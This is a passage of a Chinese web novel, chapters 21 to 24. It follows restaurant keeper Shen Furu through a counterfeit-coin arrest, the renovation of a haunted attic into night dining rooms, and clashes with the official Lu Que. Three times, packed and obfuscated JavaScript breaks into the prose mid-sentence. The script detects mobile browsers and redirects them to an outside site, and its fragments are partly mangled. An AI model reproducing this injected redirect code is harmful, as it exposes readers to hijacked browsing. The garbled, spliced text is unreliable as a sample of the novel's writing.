大双接过钱，仔细一瞧，顿时脸色变了，气得直跺脚：“这……这又是假的？我怎么就这么大意！” 过了半个时辰，张澈回来了，脸色有些凝重。沈芙蕖将他拉到后院，低声问道：“怎么样？怎么跟了这么久？看出什么名堂没有？” 张澈摇了摇头：“那人很警觉，七拐八绕的，最后进了一家赌坊，我没敢跟进去。” 沈芙蕖沉思片刻，说道：“要么这赝币是从赌坊内流出，要么，他就是带着剩下的赝币进去逍遥快活了。今日先这样，明日咱们再想想办法。” 当晚打烊后，沈芙蕖将众人召集起来，再次叮嘱：“这几日大家都多留个心眼，若是再见到那汉子，或者有其他可疑的人，一定要告诉我。” 大双重重地点头：“掌柜的放心，这次我一定瞪大眼睛！”小双和阿虞也纷纷表示会多加注意。 然而那汉子极其警惕，只来了芙蓉盏一次便再也没光顾了。倒是大双，眼力也练出来了，逮住几个用赝币的人，只可惜这几人也都是无意中收了假铜板。 晌午时分，周寺正撩开芙蓉盏的门帘，一脸疲惫地走了进来。沈芙蕖见他官服上沾着灰，眼下挂着两团青黑，便知他又为案子熬了通宵。 “一碗葱油拌面，一碗绿豆汤。”周寺正往长凳上一坐，袖子蹭了蹭额头的汗。 沈芙蕖亲自端了茶过来：“大人近日又在忙着查什么呢？” 周寺正叹了口气，手指无意识地敲着桌面：“还不是那些赝币！做得太真了，连钱监的老匠人都要仔细辨半天。老百姓更分不清，收了赝币还当宝贝藏着。” 沈芙蕖给他添了茶：“听说城南钱铺都收了好几筐赝币了？” 周寺正摇头：“那何止！昨日在码头查获一船夹带，上面是正经货物，底下全是用铅锡混铸的赝币。现在连三司使都惊动了，天天催着要结果。” 周寺正说：“沈娘子，你店里要是收到赝币，千万留着给我。现在每枚赝币都是线索。” 沈芙蕖还未答应，只见上次给赝币的汉子又来了。沈芙蕖递了个眼色给周寺正，周寺正便坐正了停止话头。 21. 第二十一章 那汉子这次还带了两个同伴，三人径直走到角落的桌子坐下，大声吆喝着要三碗羊肉浇头面。 “别声张。”沈芙蕖轻声嘱咐大双。“你去招呼，我让阿澈盯着。” 大双点点头，擦了擦手走上前去：“三位客官，三碗羊肉浇头是吧？马上就好！” 那汉子咧嘴一笑，说道：“快点啊，都饿着呢！”说着从腰间摸出钱袋，哗啦啦倒出铜钱在桌上：“先付钱，省得待会儿麻烦。” 大双心里一紧，强装镇定地收下钱，转身时再次朝沈芙蕖使了个眼色，接过周寺正偷偷递来的腰牌。 周寺正一边吃着葱油拌面，一边偷窥着三人，三个人的衣着都很普通，和汴京街上任何一个普通人没什么区别，这样的人，怎么会带着这么多的赝币呢。 不一会儿，大双端着三碗热气腾腾的羊肉面过来。那汉子接过面碗，从钱袋里又摸出几枚铜钱塞给大双：“拿着，赏你的。以后我们来吃饭，行个方便。” 大双手心冒汗，接也不是，不接也不是。正犹豫间，沈芙蕖已经走了过来，笑吟吟地接过铜钱：“多谢客官赏赐。大双，还不快去给几位添点小菜？” 等大双走开，沈芙蕖装作不经意地问道：“几位看着面生，是刚来汴京做生意的？” 汉子嚼着羊肉，含糊道：“是啊，做些小买卖。” 他旁边那个瘦高个突然插嘴：“你们这儿的羊肉味道不错，以后我们常来。” 沈芙蕖笑着说：“你们吃得好，我们也舒心。对了各位客官，我们店里是可以免费续面的。” “那感情好！”那三人听了，又高高兴兴续了二两面。 周寺正一面吃面，一面焦急向外张望。他此时要做的，就是拖延时间，他一个人可搞不定这三个汉子，等着大双到外面找外援呢。 三人终于吃饱喝足，正准备出门，却被衙役们团团围住。瘦高个猛地从怀里掏出一把短刀，却被周寺正一个箭步上前，铁钳般的大手直接扣住他的手腕。 “咔嚓“一声脆响，瘦高个惨叫一声，短刀落地，看样子胳膊是脱臼了。周寺正冷笑：“你小子识相点！在大理寺当差二十年，还没人能在老子面前亮兵器！” 褐衣汉子见状，扑通跪在地上：“大人饶命！小的们就是来汴京做点小本生意……” 周寺正从怀里掏出一把铜钱砸在汉子脸上，一脚踹在他肩膀上：“做小本生意？我去你奶奶个腿！还不说实话，认得这个不？” 那铜钱在地上滚了几圈，正是方才他们在芙蓉盏用的赝币。 “我们只是使，可并没有造啊！大人明鉴呐！” “带走！别在这里废话，耽误人家店里做生意！”周寺正大手一挥，衙役们立刻将三人捆得结结实实。 周寺正临走，还不忘向沈芙蕖道歉。 阿虞踮着脚尖，目光追随着周寺正押人的背影，直到那队人马消失在巷子拐角，仍不肯收回视线。张澈连唤了三声，她才如梦初醒般“啊”了一声，小跑着回到店里。 沈芙蕖将沾了灰尘的帕子浸入清水，温声道：“剩下的事自有官府处置，咱们只管安心做生意便是。周大人办案老练，定能撬开那几人的嘴。” 随后，沈芙蕖也走了出去，不过她的目光并没有在街上停留很久，而是抬头仰望着上方的阁楼，喃喃自语道：“也不知道这雅间能不能办起来……” “沈姐姐！”阿虞突然拽住沈芙蕖的袖角：“你先前不是让我打听这铺子风水传闻的缘由吗？我这几天可算问着了，问题出在这铺子上头。” 芙蓉盏的格局颇为宽敞，前堂迎客，中院待友，后厨烹鲜，还附带一间小巧的厢房。沈芙蕖退了草市坊的租屋，索性将起居都安顿在店内。 与寻常沿街铺面无异，这铺子上头也带着二层阁楼，斜对门的绸缎庄便是这般，楼下铺陈绫罗，楼上量体裁衣。有的店家将阁楼作了住处，有的则辟为雅间，全凭主人心意安排。 当初租下这铺子时，房东只道阁楼堆些陈年杂物，再三叮嘱莫要住人。沈芙蕖彼时未曾多想，如今细忖，倒是蹊跷，哪有食肆二楼宁肯空着也不做雅间的理？ 听到阿虞这么说，沈芙蕖不由问：“怎么回事？” 前几日她还盘算着将阁楼收拾出来，添作雅座。若摆上几张红木小几，吃食上再精致些，定能多招揽些体面客人。 阿虞闻言却撇了撇嘴：“早想告诉姐姐，又怕你住着膈应。我听说了，十年前这阁楼上住着四口人，厨娘、堂倌和两个半大的小孩。后来那堂倌听信闲话，疑心妻子不贞，连带着看两个孩子都不像自己的种，有一天他就在自家饭菜中放了砒霜！” “都死了？”沈芙蕖心里一惊。 阿虞说：“没有，他自个儿没吃，后来去衙门投案自首了。都说这阁楼怨气重，连带着咱们前头换过七八家食肆，没一家撑过两年的。” “弑妻杀子，真是个畜生。”沈芙蕖评价：“冤有头债有主，冤魂要索命，也该找那负心汉。我倒要看看，是什么魑魅魍魉敢拦我的生意。” 得知沈芙蕖要在阁楼添雅座，大双小双都没什么异议，他俩都是人高马大的壮汉，自诩阳气最旺，也不信鬼神。张澈倒是有些敬畏，但也没提反对意见。阿虞便咬咬牙，跺跺脚：“我以后少上去就是了！特别是晚上！” 沈芙蕖却微微笑着说：“那间阁楼，就专门做晚上的生意。” 沈芙蕖征得意见后，迅速拿了鸡毛掸子，准备去阁楼收拾东西，这时门外的鹦鹉嚷着：“来贵客啦！欢迎光临！” “沈娘子，我又来了！这鹦鹉可真聪明。你们说的什么阁楼不阁楼的？”沈芙蕖听言，一瞧，又是赵清晏，他只穿一袭竹青襕衫，腰间悬着枚不起眼的羊脂玉佩，若非那通身气度，倒像个寻常读书人。 “你倒是会挑时辰，正巧要收拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099606|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阁楼，可愿搭把手？”她故意晃了晃手中的鸡毛掸子。 赵清晏离了宫，觉得哪哪都有趣，哪哪都新鲜，便痛快答应：“悉听尊便，帮沈娘子干活，就当抵了今日的饭钱了，今日有羊肉吧？” “有。干了活才能吃。”沈芙蕖道。 木梯吱呀作响，赵清晏随她登上阁楼。沈芙蕖也不客气，指了指角落堆着的旧木箱：“你先把这些箱子挪开，底下积了不少灰。” 赵清晏也真照做，挽起袖子，弯腰去搬箱子。他虽养尊处优，但力气不小，三两下就把几个箱子挪到了墙边。沈芙蕖拿着抹布擦拭窗户，落了许多灰尘。 “这阁楼倒是宽敞。”赵清晏拍了拍手上的灰：“若是收拾出来，摆几张桌椅，倒是个清净用膳的好地方。你看，从南边的窗户望去，景色也不错。” 沈芙蕖笑了笑：“你倒是和我想一块儿去了，前几日我还琢磨着把这儿改成雅间。” 赵清晏问道：“我记得在大理寺第一次见你，你塞给我一张小食单，上面写着可以预定送上门，还有各种套餐，怎么如今不送了？” 沈芙蕖把窗户打开，外面的热气袭来。她指了指窗外，道：“现在天热了，食盒拎着走两条街，汤面就坨了，浇头也闷得发蔫。吃食这东西，差一分火候就坏滋味，总不能自砸招牌。” 赵清晏随口道：“你可以用冰啊，或者多雇几匹马，跑着送餐。” “我的苍天啊！这位贵客，你知道冰有多贵吗？一桶冰顶我半日流水，一匹马更值百贯钱。如今我还欠着陆大人一百贯没还呢。所以这预定外送的生意暂时是搁置下来了。”沈芙蕖说。 “你说哪个陆大人？陆却吗？他怎么肯借钱给你？”赵清晏惊讶道。 沈芙蕖说：“当然是凭借着我的厚脸皮和三寸不烂之舌。” 赵清晏则抱臂笑着说：“沈娘子能在陆却那讨到好处，可真不容易，我要向你讨教讨教。不过你早该来找我啊，银钱管够。” “看出来了。”沈芙蕖又拿着木尺简单量了一下阁楼的尺寸。 “走吧，为了报答你帮我收拾阁楼，我今天请你吃炙羊肉。” 沈芙蕖用黄酒、胡葱和西域香料腌了羊排，她指尖轻按肉面，等肌理已吸饱了酱色，就拿出来了。 阿虞蹲在一旁捣香料，石臼里混着安息茴香、蜀椒和少许糖霜。 炉里，木炭已烧到蟹眼青的火候，沈芙蕖用铁钳拨开炭块，中心留出个凹坑，这火不能旺，要那种裹着蓝芯子的文火，才能把羊油慢慢逼出来。羊排架在铁网上，离炭火三指高。 第一遍先烤背面，沈芙蕖不时用毛刷蜂蜜水涂抹，待肉面泛起金黄的脆壳，转到另一面贴着骨头的嫩肉，这面只需烤片刻，否则就老了。 沈芙蕖撒了把粗盐，迅速将肉移到温热的石板上醒着，余温会让肌理松弛。 赵清晏认为，这是他闻过最香的烤羊肉了。 22. 第二十二章 赵清晏毫不吝啬赞美之词，眼中盛满惊艳，恨不得将世间所有美好的词汇都捧到她面前。沈芙蕖听着，眼角眉梢都染上笑意。 这让她想起前世那个重要的决定，放弃金融界的高薪工作，转身投入美食自媒体的怀抱。那时的她，在钢筋铁骨的写字楼里迷失太久，直到某天深夜，一碗热腾腾的阳春面让她顿悟，也许美食才是最能抚慰人心的良药。 锅铲翻动间升腾的烟火气，食材在热油中欢快的滋滋声，食客品尝时满足的喟叹……这些细微却真实的幸福，远比冰冷的数字更让她心动。 “美食啊。”她望着赵清晏餍足的神情，轻声自语：“是最能给人带来幸福的东西。” 赵清晏凝视着沈芙蕖被炉火映红的侧颜，她垂眸翻动羊排时，睫毛在眼下投下一弯新月般的阴影，不由有些出神。 “殿……不是！陆大人，咱们公子在里头好好着呐！公子说了，不让外人打扰……您……您就别进去扫了他的雅兴呐……”廊下传来内侍慌张的声音。 “我不是来找他的。”陆却冷冷的声音飘来。 赵清晏抬眼望去，只见大理寺卿负手立于阶前，紫色官服衬得面色愈发阴沉。 赵清晏此时唯一担心的就是不能让自己的身份在沈芙蕖面前暴露，电光火石间，赵清晏抢先起身，脸上堆满夸张的笑意，先下手为强道：“表哥！好巧啊！你也在这里，要不要来块烤羊排？” “嗯？你不是从来都不吃羊肉？”陆却问道。那日春宴陆却对菜品没有提出任何异议，唯一的要求就是不要有羊肉，因为……赵清晏不爱吃，嫌膻。 沈芙蕖歪着脑袋想了半天，也不知道陆却为何突然造访，难道是他作为大股东，特意来这里查账？ 她这就去把账本抱出来。 赵清晏一把拽住陆却的衣袖，将他拉到廊柱后头。他压低声音，语气里带着少见的恳切：“陆九，待会儿可千万别喊我什么太子殿下。在这儿，我就是个寻常食客，是你远房表弟！家中行四，你唤我赵四就好。” 陆却眉头微蹙：“赵……四？” “对对对，就叫赵四！”赵清晏急得直搓手，下意识想搬出儿时那套威胁的话术，可话到嘴边又咽了回去，如今他们早已不是当年那两个在御花园里追逐打闹的少年了。 见陆却神色淡漠，赵清晏急得跺脚：“陆九！你到底答不答应我！莫非你还在怨我是不是？若不是当年我硬拉着你下棋，害你留在宫中......” “不必说了。”陆却打断他，声音平静得听不出情绪。 “这两件事本不相干。殿......赵四公子既开了口，我照办就是。”陆却说。 沈芙蕖瞧着那表兄弟二人躲在廊角低语，虽心中好奇，却也只当是亲戚间的私话。 她将炉上温着的紫苏饮斟了两盏，青瓷盏衬着淡紫汤色，煞是好看。 “陆大人，别来无恙，你是来视察店里的情况吗？芙蓉盏一切都很好，每日或多或少都盈利，应该很快就能还清大人的钱了，这是账本，请过目。”她捧着漆盘上前，声音里带着恰到好处的讶异。 张澈最是机灵，见状立刻将内院的竹帘半卷，又朝阿虞使了个眼色。几个伙计会意，纷纷借故退了出去。 陆却转过身来，一双冷漠的眸子在沈芙蕖上逡巡许久，才缓缓开口道：“我不看账本。沈娘子，那日你在大理寺同我说的话，是什么意思？” 沈芙蕖心里闪过一丝喜悦，可又不敢表现在脸上，果然，猜疑的种子，种下了就一定会生根发芽，尤其是陆却这种生性多疑的人，最适合种子生长了。 沈芙蕖故意慢吞吞道：“哪件事？我记性不太好，每日迎来送往，一天要说许多话，说过的话就像这炭盆里的火星，亮过就灭了。” “瞒天过海。”陆却言简意赅。 赵清晏呷了一口紫苏饮，轻声道：“呦，表哥，你这话说的，谁敢瞒你？” 沈芙蕖又添了一块碳，静静出神，半天才说：“如何不敢？《邹忌讽齐王纳谏》不是这么说的：朝廷之臣莫不畏王，四境之内莫不有求于王，由此观之，王之蔽甚矣。连王都可以遮蔽，大理寺少卿有何不可呢？” 赵清晏看热闹不嫌事大，拍了拍手道：“此言甚好！” 陆却神色更冷：“那支簪子，家妹已经告知，虽然样式老旧，却不是长辈之物。沈娘子是故意丢下么，这般苦心孤诣目的是什么？引我替你查下去？将你兄嫂关进大牢？陆某可以是刀，是剑，那也只是为国所用，而不是被巧言令色之人利用。” 沈芙蕖正了神色，声音也陡然提高：“我所求之利，与社稷民生何异？大人执三尺青锋，原该斩奸除恶，今日却要对着升斗小民亮刃么？不错，我是耍了些小聪明。可若非如此，真相何时才能大白于天下？我何错之有，竟被扣上巧言令色的帽子！” “陆大人可知，我敬的从来不是那身朱紫官袍，而是当年那个为民请命的陆青天！今日方知，原来铁面之下，也不过是颗偏听则暗的凡心。芙蓉盏虽陋，也容不得黑白不分的贵客——请便。” 赵清晏望着眼前这一幕，眼底闪过一丝讶异。他素知沈芙蕖行事利落，谈吐爽利，却不想她骨子里竟藏着这般铮铮铁骨。 满朝文武见了陆九都要避让三分，这小小食肆的女掌柜，倒敢当面呛声。这般胆色，比宫里那些唯唯诺诺的贵女们更叫人敬佩。 赵清晏还打算继续看下去，又看见几个熟悉的内侍正着急在廊下冲他使颜色，便知外出的时间又到了，只好边往外跑边回头喊道：“表哥！记住我的话啊！沈娘子，我府里人来寻我了，改日再见，我改天再来！” “好！一定等你！下次好酒款待！”沈芙蕖不舍地挥了挥手，与赵清晏道别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099607|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陆却不置可否，站了起来，背对着沈芙蕖说道：“周寺正昨天跟我说，不痴不聋，不做阿翁。有时候需要适当装糊涂，不宜事事较真，才能维持和睦。办案这么多年，陆某只能说，凡经我手的案子，我都极力还原真相。可如今这件案子，倒叫我看不清了……” “这满朝的装聋作哑，难道就没有我的一份过错？难道我就没责任吗？我今日气愤，究竟是因为被沈娘子当成前进的棋子，还是因为我发现付出这么多年的心血却什么都改变不了！” 沈芙蕖深感震撼，陆却怎会与她说这些话！ 那些压抑的怒意、深藏的无奈，甚至是此刻难以掩饰的难堪，都如同剥开层层丝茧，都叫她瞧见了。 沈芙蕖没有立即开口，而是重新斟了一盏热茶，轻轻推到陆却面前。茶烟袅袅，她低声道：“陆大人，茶凉了伤胃，先暖暖身子。” “大人。”沈芙蕖强装着镇定：“这茶，初泡时苦涩，再品却回甘。人心亦是如此，一时看不透的，未必就是错的。大人今日所言，民女记下了，若我先前冒犯，还请见谅。但大人既知不痴不聋的道理，又何苦自缚？可若人人都做那痴聋阿翁，这世上的冤屈，又该由谁来平？这案子，大人若还想查，民女一定尽绵薄之力。” 陆夫人的轿子在芙蓉盏外走了好几趟，就是不肯下来，并非是心中畏惧点什么，而是抬轿的小厮发现了芙蓉盏外驻足的马儿，是她的儿子陆却的。 这说明陆却正在里头，而且待的时间不短。 陆夫人越发确定惠善的话，陆却看上了一位虽然貌美但却身份低贱的厨娘。 天知道这是件好事还是坏事！ 好的是，她那向来不近女色的儿子，如今总算有了几分男儿情思的苗头；可坏就坏在，以陆却那执拗的性子，若真认定了谁，怕是宁可顶着满朝非议，也要执意将那商门女子迎回家中，这般不顾门楣的事，他未必做不出来。 陆夫人又沿着草市坊大街走了两个来回，知道再走下去恐怕会引来非议，便带着满面愁容打道回府了。 惠善见陆夫人回来，忙不迭问道：“母亲可见到沈娘子了？” 陆夫人黯然摇头：“没有。我只在附近打听了一番，听说这沈娘子斤斤计较，泼辣得很！阿惠，你说那天天宰羊杀鱼的厨娘，能是什么好货色？” 惠善赶紧道：“母亲可别先入为主了。我可是见过她几面的，沈娘子并不粗俗，相反，美得很呢。她一定有什么长处，是哥哥能瞧上的。” “惠善，这种话以后不要再说了！什么瞧得上瞧不上的，她都嫁过那孙大虫了，你哥断不会沾她的。”陆夫人语气里的不快，也让惠善惶恐不安起来。 她不过是想讨陆夫人的欢心，才将簪子的事情告知陆夫人，谁知道陆夫人这么大的反应，当即就要去芙蓉盏见沈芙蕖，可把惠善吓坏了。 23. 第二十三章 惠善在陆府谨小慎微惯了，依附陆夫人是她的生存之道，可如果兄长知道自己背后的小动作，一定会渐渐疏远她，思及此，她心中愈发不安，终是吩咐下人备轿，再次往大理寺去了。 大理寺的衙役们各个忙得晕头转向，见到惠善，却也不敢直接通传至陆却跟前，按照老法子，几个厚脸皮又机灵的后生又去找了周寺正。 周寺正晓得陆却今天心情不佳，说话一个字一个字往外蹦，如果说往日的陆却像一块寒冰，那今日的陆却就像一块冻了几年的寒冰，若无重要的事情，周寺正宁可绕道而行，也绝不愿在他面前多晃半刻。 然而惠善娘子终究是怠慢不得的，周寺正只得硬着头皮上前询问来意。 惠善没料到自己竟会在周寺正这里被拦下，更没想到对方搬出“陆大人正处理要务”这般冠冕堂皇却又无从辩驳的说辞。她略一沉吟，便顺势抬出了陆夫人的名头。 “近来暑气渐盛，母亲忧心兄长胃口不佳，特意嘱咐我送些冰镇酸梅饮来。”惠善说着，既没有把酸梅饮端出来，也没有要走的意思。 周寺正乐呵一笑，眼角堆起细纹，道：“陆夫人拳拳爱子之心，着实令人感怀。说来惭愧，下官未入京时，家母亦常煮酸梅饮消暑。只是汴京的酸梅饮口感稍逊些，不是兑多了水发酸，就是翻上来一股子药草的苦味。” “不如放些甘草，滋味便醇和许多。”惠善笑着，有意无意把话题往芙蓉盏上引：“要说酸梅饮，草市坊有家芙蓉盏的食肆，做的味道很正，酸甜适中，冰沁爽口，大人闲暇时间可以去尝尝。” 周寺正何等机敏，立刻又将话题绕开，说道：“在大理寺当差，哪有什么闲暇时光！大理寺事情太多，好不容易等到休沐，家里两个混世小魔王便缠着念话本、抓子儿、翻绳儿，也不怕娘子笑话，我这头发都快被她们薅秃了。” 惠善面上笑着，心里却不高兴了，心道，能在兄长身边待这么久果然是个老狐狸，本欲起身就走，又不甘心来一趟一无所获，于是笑眯眯说：“兄长常与我提起近日的案子，确是令人头疼。诸位大人夙夜操劳，实在辛苦。母亲总说，兄长不常回府，多亏诸位照拂……对了，上次汴河抛尸案的凶手可招了？” 周寺正心里也在骂娘，也不知道这惠善娘子一句话里有几个字是真的，跟她说话可真累，简直比审犯人还费神，难道世家女子说话都这般弯弯绕绕？真远不如芙蓉盏的沈娘子敞亮！ 周寺正笑意更深了：“陆娘子，能移交到咱们大理寺的案子，多半都是骇人的勾当，情节严重，性质恶劣，有的手段残忍，场面血腥，听多了晚上容易做噩梦，连饭也难以下咽。也就是陆大人这样的人物，才能对着尸格单子用膳。听周某一句劝，您还是少打听为妙！” 这番话彻底点燃了陆惠善的怒火，想到那芙蓉盏的沈娘子竟能在大理寺来去自如，而自己这个堂堂大理寺卿的亲妹妹，反倒被个小小寺正拦在门外，还遭这般明嘲暗讽，当真是岂有此理。 “周大人所言极是，小女子必当谨记于心。既然兄长不得空，那我便如实回了母亲便是。唉，也是不巧，白走一遭，回府定要听母亲一顿数落。”陆惠善终于款款起身，施施然行礼。 周寺正脸上依旧挂着恭敬的笑容，亲自将人送到了衙门外。他心知肚明自己已经彻底得罪了这位陆家千金，但比起得罪权贵，他更怕祸从口出。有些话若是说漏了嘴，那才是真正的找死。 与此同时，沈芙蕖正忙着布置二楼的雅间。阿虞听沈芙蕖说这些雅间只在宵禁前开放，不禁觉得神秘非常。要知道在汴京城，宵禁制度可是雷打不动的规矩。 每到入夜时分，开封府的衙役们便执着梆子沿街报更，一更天的“闭门鼓”响彻街巷，五更天的“开门鼓”唤醒黎明。夏秋时节，从二更到五更这段时间，寻常百姓若是胆敢在街上游荡，轻则罚款拘押，重则要吃板子。 在这样的环境下，芙蓉盏若要经营夜间的生意，着实不是件容易事。汴京百姓素来习惯早睡早起，深更半夜还在外游荡的，不是醉汉就是浪荡子，正经人家谁会在这个时辰出门？ 不过有些地方例外，比如瓦子，他们都挂靠官署，持有夜演凭由，允许演出至二更末，观看表演的百姓，离场需持夜归牌，芙蓉盏哪里能找到这里的门道？ 大双小双这对粗犷汉子，对沈芙蕖向来唯命是从，从不多问半句。张澈沉默寡言，永远保持着谨慎观望的态度。唯独阿虞眼见沈芙蕖将这段时间辛苦积攒的银钱，大半都投进了雅间的装潢，急得直跺脚，若是血本无归可如何是好？ 沈芙蕖心知这个决定或许过于冒进，但她生来就是个执拗性子，一旦打定主意，便是九牛二虎也拉不回头，非要亲自撞过南墙才肯罢休。 若能成事，欠下的债务便可早日清偿。即便失败，大不了重操旧业从头再来。她本就是赤条条来去无牵挂的人，又有什么可畏惧的呢？ 虽然汴京仍着宵禁之制，但近些年来，外无强敌压境，内无动荡之忧，加之风调雨顺，连年丰收，百姓们渐渐富足起来。从前的一日两餐，如今已演变为三餐，甚至有人家还会在夜间添些点心小食。 戌时，正是饥肠辘辘的时辰。白日里没吃好的人，到了这会儿便抓心挠肝地想着吃食。若是遇上失眠的，更会拉上三两好友，寻一处尚亮着灯的食肆，点上几道小菜，温一壶酒，谈天说地，岂不快哉？ 这是商机。 沈芙蕖立在二楼，指尖抚过新漆的槅扇。这雅间她费了心思，窗户上都糊了轻纱，既透光又遮影，四角悬着铜熏球，燃的是清甜的荔枝香。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099608|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >外间设六张矮脚胡床，供散客小酌。中室立四扇屏风，可分隔为雅座。里阁只设一席，地面抬高半尺，铺西域织金毯，专待贵客。 无论是外间还是雅座，中间都放了一张特制的矮几，中央嵌着黄铜火盆，盆沿有可旋转的铁网架。 沈芙蕖特意请城南铁匠打了活动炭屉，分上下两层，上层明火快烤，下层暗火保温。又特意设计了集烟暗道，竹管通向屋外，炭烟经陈皮、丁香熏染后再排出，避免烟大熏人。每个案几旁都配置了水桶，若真有什么意外，一桶水浇下去也就灭了安全隐患。 阿虞抱着一摞铁签进来，这也是沈芙蕖让她找工匠打的，不仅重，还很尖锐，都能当武器使了，她忍不住嘟囔：“沈姐姐，这戌时的宵夜生意真能成吗？” 沈芙蕖捻起块木炭在掌心掂量：“你瞧西瓦子的说书场，哪夜不是挤到二更天？汴京人如今不缺钱，缺的是一份新鲜劲儿。” 后院里，大双小双正按沈芙蕖教的法子腌肉。羊腿肉切骰子块，每串七分瘦三分肥，用茱萸酱、胡麻油和西域香料揉透，再串铁签上，放在火上烤熟了便是羊肉串。 阿虞望着后院忙碌的伙计们，犹豫再三还是开口道：“沈姐姐，阿虞多嘴一句。这宵夜的生意虽好，可咱们毕竟是女儿家，夜里总要多留个心眼才是。况且姐姐生得这般标致......” 沈芙蕖闻言轻笑，指尖点了点账本：“你提醒得是。不过你可还记得我们招人时的说法？我们要找的可不是寻常伙计，而是能当家的二掌柜。” 她深知，若只知埋头苦干，迟早要把自己累垮。阿虞精明能干，大双勇武有力，小双忠厚老实，张澈心思缜密。若能善用各人所长，将他们培养成独当一面的人才，自己方能做个甩手掌柜呢。 阿虞的话确实在理，若事事亲力亲为，莫说赚钱，只怕连身子都要熬垮。粗活尽可再雇人来做，当务之急是要将这几个心腹栽培起来。 因此，即使装潢已经告一段落，她也并不急于将雅间开放，一来想等个机会挣个噱头，二来有心栽培人手，于是这些日子便开始教他们算账。 阿虞学得最快，却总是粗枝大叶，大双小双耐不住性子，总想走捷径，唯有张澈，不仅学得认真，更难得的是心思缜密，最得她心意。 正想着，又听阿虞问：“沈姐姐，为什么你总是一副天不怕地不怕的样子呢，你连大理寺的陆大人都敢顶撞，难道不怕得罪他吗？” 沈芙蕖想了想说：“与人打交道，贵在知人善言。像赵大头那等泼皮，就得比他更泼辣三分，才能叫他心服口服。至于陆大人，他虽位高权重，却是个讲理的人。既如此，我何不与他据理力争？待你日后做了掌柜，也要学会这般识人说话的本事。见人说人话，见鬼说鬼话，这才是立身处世的道理。” 24. 第二十四章 阿虞眨了眨眼，似懂非懂地点点头：“那我可得跟着沈姐姐好好学着，将来也当个大掌柜。到时候就可以让我阿婆住上青砖大瓦房，羊肉天天管够！” 沈芙蕖唇角微扬："这有何难？阿虞，你猜猜看，除去各项开支，咱们芙蓉盏这一季赚了多少？"一听要算账，阿虞顿时来了精神。 大双小双也凑了过来，张澈更是利落地掏出纸笔，蘸了墨准备记录。 “我先说！”张澈提笔记道：“铺子里生意最旺时，一日能接待百位客人。便是阴雨天，少说也有八十人。一碗面十五到二十文，卤菜十到三十文不等，酒水五到十文一盏……” 阿虞叽叽喳喳道：“阿澈你记得这么清楚，我都不知道每日咱们店里有这么多客人！” 沈芙蕖接过话头：“这么算来，每位客人约莫花费四十文。按日均九十位客人计，一日进账三千六百文。” 阿虞眉头微蹙，算盘打得噼啪响：“让我来算算成本。每日面粉、菜蔬、羊肉就要不少钱，更别说那些西域香料，光孜然就要十文一两，咱们用量又大，单原料每日就要两贯钱。再加上我们四个的月钱，统共十五贯……” “还有铺租呢！”大双掰着粗糙的手指说道：“这地段月租十五贯，炭火、灯油、抹布这些零碎，少说也要一贯。” 小双忙不迭补充：“碗碟损耗、孝敬衙役的茶钱，林林总总加起来，每月还得再多备三贯钱才够周转。” 沈芙蕖拍着账册，笑道：“你们算得八九不离十。这三个月统共盈利不到百贯，但雅间装潢就花了五十贯，再加上开店时的本钱……其实到现在，我还没真正开始赚钱呢。” 阿虞突然插嘴：“我还当姐姐会先还陆大人那一百贯呢。” “陆大人不差钱，而且一直没催我呢……所以就暂时先放一放。”沈芙蕖心虚道。 “不过阿虞说得确实在理。掌柜的平日处事圆滑，怎么到了关键时候犯糊涂，陆大人待咱真不薄，一百贯钱说借就借了，连个字据都没要，可上次来咱们芙蓉盏，却连口热乎的羊肉都没吃上。掌柜的，这么做可不是待客之道。”张澈语气温和却认真。 阿虞连连点头：“就是啊沈姐姐，光和周大人处好关系有什么用……你不是总说饮水思源嘛，可别到头来，连碗热汤都没给恩人留。” 这么一说，沈芙蕖心里也不是滋味，她何尝不知道陆却是个面冷心软的好人，只是想起他那拒人于千里之外又咄咄逼人的样子，着实不知道如何面对。 大双出主意：“今个儿该轮到大理寺休沐了吧？咱们这有现烤好的羊肉串，不如请陆大人尝尝。” 听周寺正介绍过，大理寺每月逢十、二十、三十日休沐，如遇重大案件需连续办公，可取消旬休。而且他们有值宿的制度，大理寺卿、少卿都需要轮流值宿，只不过陆却没有成家，更一心扑在公务上，基本夜夜宿在值房，倒是为同僚减轻了些负担。 如何与陆却缓和关系呢？请陆却来芙蓉盏吃羊肉串恐怕不现实，以他那性子，多半不会应约。自己送过去又不知道说什么，可把沈芙蕖别扭坏了。 众所皆知，陆却不是个重食欲的人，但是爱喝茶。沈芙蕖留意过，他喝的茶是贡茶密云龙，汴京人喝茶都采用点茶法，用碳火烘烤茶饼，再用茶磨碾成细粉过筛，有些类似于现代的抹茶粉。 这茶虽好，可一日几壶，总是伤胃的。 